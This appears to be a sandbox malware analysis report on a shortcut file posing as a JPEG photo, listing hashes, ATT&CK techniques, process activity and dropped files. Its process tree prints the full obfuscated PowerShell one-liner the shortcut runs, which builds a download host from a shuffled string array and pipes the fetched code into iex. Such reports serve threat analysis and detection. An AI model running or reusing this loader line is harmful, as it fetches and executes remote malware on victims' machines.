c2efd13b62bfdeb7ecb70969b6111988d159ca6878097e7f4eb42a04b1818a92

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 07:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_070756.jpg.lnk
Size 1KB
Sample260728-jcg8ca1eph
SHA256 c2efd13b62bfdeb7ecb70969b6111988d159ca6878097e7f4eb42a04b1818a92
MD5 df2a29874969cff21d4b5855d157a416
SHA1 2fdb186569d83c728135cd8da273d2f4f193041a
SHA512 270d72083aabb50cf833feffefefabc29c2ec96758a8c87b1683e6348871234228271e93a0a260298e2c8367f0b8278543790a0361e651e53092648565f41ea4
TLSH
T10E31E0299BF20229D6B78B345876631183327B0EDA4D8FDF0280C2949965110F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3560	powershell.exe
6	3560	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
764	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 3560	764	cmd.exe	90
PID 3560 wrote to memory of 4700	3560	powershell.exe	92
PID 4700 wrote to memory of 2288	4700	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_070756.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('erv','p','pho','.sho','to','ynow','s','ins','re','ta')[8,6,0,2,4,7,9,5,3,1] -join $aGnGD) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aa2mabg2\aa2mabg2.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA1E3.tmp" "c:\Users\Admin\AppData\Local\Temp\aa2mabg2\CSC9C643151282B4E5F88A5B040962676E.TMP"
      4⤵
      PID:2288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESA1E3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA1E3.tmp
Size 1KB
SHA256 37c6ee431bb982c19c6c5f91445a74b61a222ae485cdaf4907de9e2f64af3adc
MD5 c78218504a4643f4103e88b29b4c8af6
SHA1 3ac88eefef4f5aecf9de4e586c3503d0dca726d0
SHA512 1e93f165c684b9d55f9b8e2705192353349b1c0f54c49b96c9e3e8a26eecf307dac6c0f31014187deb68e99f1bb1f4ebfbf3f39b48a568763e242330abb2d3f0
TLSH
T1D921EB0A53ED471EF0738731AEFA072FA234FDA5EFA2535B8584422C2C51544EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

aa2mabg2.dll

Path C:\Users\Admin\AppData\Local\Temp\aa2mabg2\aa2mabg2.dll
Size 3KB
SHA256 fcb34fe6712bc7b2bf52f2bdf50e15ac132d021496cef693ccf35d442fd88f47
MD5 b26e2a33a82c201241462632728bfe61
SHA1 0ead638d058f0d331f412db7df3453a43701ed79
SHA512 57c62a2f15d0671872ca6185d4ba1e478a4b5df9db84d3d4e39cde2fc9863f769cf6e4efa703122339bda78afae4a02d442363491a9426e27d7e614b14b13b28
TLSH
T17851D91AA3EC466BE4774730AFF3076337B8F8149FB6576919C00229AC60B546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9C643151282B4E5F88A5B040962676E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\aa2mabg2\CSC9C643151282B4E5F88A5B040962676E.TMP
Size 652B
SHA256 3a9fb834a53431ffa9bb043bb972aa15f6eb2bfba0a7ac2fab40748718c98d68
MD5 79acc958d63843cb0b1f101f33165545
SHA1 330414de20199d9a8cfcb427757118772f6684c7
SHA512 c8143586fcb61a314138c0ebaba68b24bb81b3c4fb098f8570245d2ab0e3c019622a174a86746ca3c3604c8bbc5ce5b75d484350e74027a15ee670bb5074410d
TLSH
T1D1F0544A63F8120EF0F38B30BEF543A39168BC65DF7253ED1580531918645109561FB2
MD5 SHA1 SHA512 TLSH

Submit Download

aa2mabg2.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\aa2mabg2\aa2mabg2.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

aa2mabg2.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\aa2mabg2\aa2mabg2.cmdline
Size 369B
SHA256 1ec6623f99a46a158b8d1818a87b5693624426d8faca63ab14699f51715bd8c9
MD5 7da5839f6665b84589a17826d1c8befe
SHA1 ffb94245fa7e229ff064e3fe877faa1f91ead751
SHA512 c8545d2605a08dfa32a54968f845256fb74f38a491292db61434df4888104aefa38e1bd88e38d979112dd99ef207e2f134fcfec9493cd084732c231c9443534e
TLSH
T16BE0C02A4246D27D51EF200725EAC9FCC372074F29C83F885048445DD01F80967E1741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3560-10-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-20-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-11-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-12-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-13-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-14-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-15-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-16-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-17-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-18-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-19-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-2-0x00007FFE4D74F000-0x00007FFE4D750000-memory.dmp

Download

memory/3560-9-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-8-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-33-0x0000022A57600000-0x0000022A57608000-memory.dmp

Download

memory/3560-7-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-6-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-5-0x0000022A575B0000-0x0000022A575D2000-memory.dmp

Download

memory/3560-34-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-35-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-36-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download

memory/3560-38-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

Download